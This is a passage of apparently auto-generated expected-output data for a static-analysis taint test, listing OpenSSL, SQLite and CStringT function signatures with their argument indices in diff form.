ossl_quic_channel_get_remote_stream_count_avail | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const RSA *,int) | | RSA_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const RSA *,int) | | RSA_test_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const RSA *,int) | | ossl_rsa_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const SSL *,int) | | SSL_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const UI *,int) | | UI_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509 *,int) | | X509_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509 *,int) | | X509_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | taint.cpp:249:13:249:13 | _FUN | (const XCHAR *,int) | CStringT | CStringT | 1 | | taint.cpp:249:13:249:13 | _FUN | (const YCHAR *,int) | CStringT | CStringT | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const char *,int) | | DH_meth_new | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const char *,int) | | DSA_meth_new | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const char *,int) | | Jim_StrDupLen | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const char *,int) | | RSA_meth_new | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const char *,int) | | parse_yesno | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (int *,int) | | X509_PURPOSE_set | 1 | +| taint.cpp:249:13:249:13 | _FUN | (int *,int) | | X509_TRUST_set | 1 | +| taint.cpp:249:13:249:13 | _FUN | (int,int) | | BN_security_bits | 0 | +| taint.cpp:249:13:249:13 | _FUN | (int,int) | | BN_security_bits | 1 | +| taint.cpp:249:13:249:13 | _FUN | (int,int) | | EVP_MD_meth_new | 0 | +| taint.cpp:249:13:249:13 | _FUN | (int,int) | | EVP_MD_meth_new | 1 | +| taint.cpp:249:13:249:13 | _FUN | (int,int) | | EVP_PKEY_meth_new | 0 | +| taint.cpp:249:13:249:13 | _FUN | (int,int) | | EVP_PKEY_meth_new | 1 | +| taint.cpp:249:13:249:13 | _FUN | (int,int) | | acttab_alloc | 0 | +| taint.cpp:249:13:249:13 | _FUN | (int,int) | | acttab_alloc | 1 | +| taint.cpp:249:13:249:13 | _FUN | (rule *,int) | | Configlist_add | 1 | +| taint.cpp:249:13:249:13 | _FUN | (rule *,int) | | Configlist_addbasis | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| taint.cpp:249:13:249:13 | _FUN | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| taint.cpp:249:13:249:13 | _FUN | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| taint.cpp:249:13:249:13 | _FUN | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (uint16_t,int) | | tls1_group_id2nid | 1 | +| taint.cpp:249:13:249:13 | _FUN | (unsigned char *,int) | | RAND_bytes | 1 | +| taint.cpp:249:13:249:13 | _FUN | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| taint.cpp:249:13:249:13 | _FUN | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| taint.cpp:249:13:249:13 | _FUN | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| taint.cpp:249:13:249:13 | _FUN | (void *,int) | | DSO_dsobyaddr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (void *,int) | | sqlite3_realloc | 1 | | taint.cpp:249:13:249:13 | _FUN | (wchar_t,int) | CStringT | CStringT | 1 | +| taint.cpp:249:13:249:13 | operator() | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| taint.cpp:249:13:249:13 | operator() | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIGNUM *,int) | | BN_clear_bit | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIGNUM *,int) | | BN_mask_bits | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIGNUM *,int) | | BN_set_bit | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIGNUM *,int) | | BN_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIGNUM *,int) | | bn_expand2 | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIGNUM *,int) | | bn_wexpand | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIO *,int) | | BIO_clear_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIO *,int) | | BIO_find_type | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIO *,int) | | BIO_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIO *,int) | | BIO_set_init | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIO *,int) | | BIO_set_retry_reason | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIO *,int) | | BIO_set_shutdown | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIO *,int) | | TXT_DB_read | 1 | +| taint.cpp:249:13:249:13 | operator() | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (DH *,int) | | DH_clear_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (DH *,int) | | DH_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (DSA *,int) | | DSA_clear_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (DSA *,int) | | DSA_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| taint.cpp:249:13:249:13 | operator() | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| taint.cpp:249:13:249:13 | operator() | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| taint.cpp:249:13:249:13 | operator() | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| taint.cpp:249:13:249:13 | operator() | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| taint.cpp:249:13:249:13 | operator() | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| taint.cpp:249:13:249:13 | operator() | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| taint.cpp:249:13:249:13 | operator() | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | taint.cpp:249:13:249:13 | operator() | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| taint.cpp:249:13:249:13 | operator() | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| taint.cpp:249:13:249:13 | operator() | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| taint.cpp:249:13:249:13 | operator() | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| taint.cpp:249:13:249:13 | operator() | (RSA *,int) | | RSA_clear_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (RSA *,int) | | RSA_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| taint.cpp:249:13:249:13 | operator() | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| taint.cpp:249:13:249:13 | operator() | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| taint.cpp:249:13:249:13 | operator() | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_key_update | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_purpose | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_read_ahead | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_security_level | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_shutdown | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_trust | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_verify_depth | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CTX *,int) | | ssl_md | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| taint.cpp:249:13:249:13 | operator() | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| taint.cpp:249:13:249:13 | operator() | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509 *,int) | | X509_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509 *,int) | | X509_self_signed | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| taint.cpp:249:13:249:13 | operator() | (acttab *,int) | | acttab_insert | 1 | +| taint.cpp:249:13:249:13 | operator() | (char *,int) | | PEM_proc_type | 1 | | taint.cpp:249:13:249:13 | operator() | (char,int) | CStringT | CStringT | 1 | +| taint.cpp:249:13:249:13 | operator() | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| taint.cpp:249:13:249:13 | operator() | (const BIGNUM *,int) | | BN_get_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| taint.cpp:249:13:249:13 | operator() | (const BIO *,int) | | BIO_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const BIO *,int) | | BIO_test_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (const 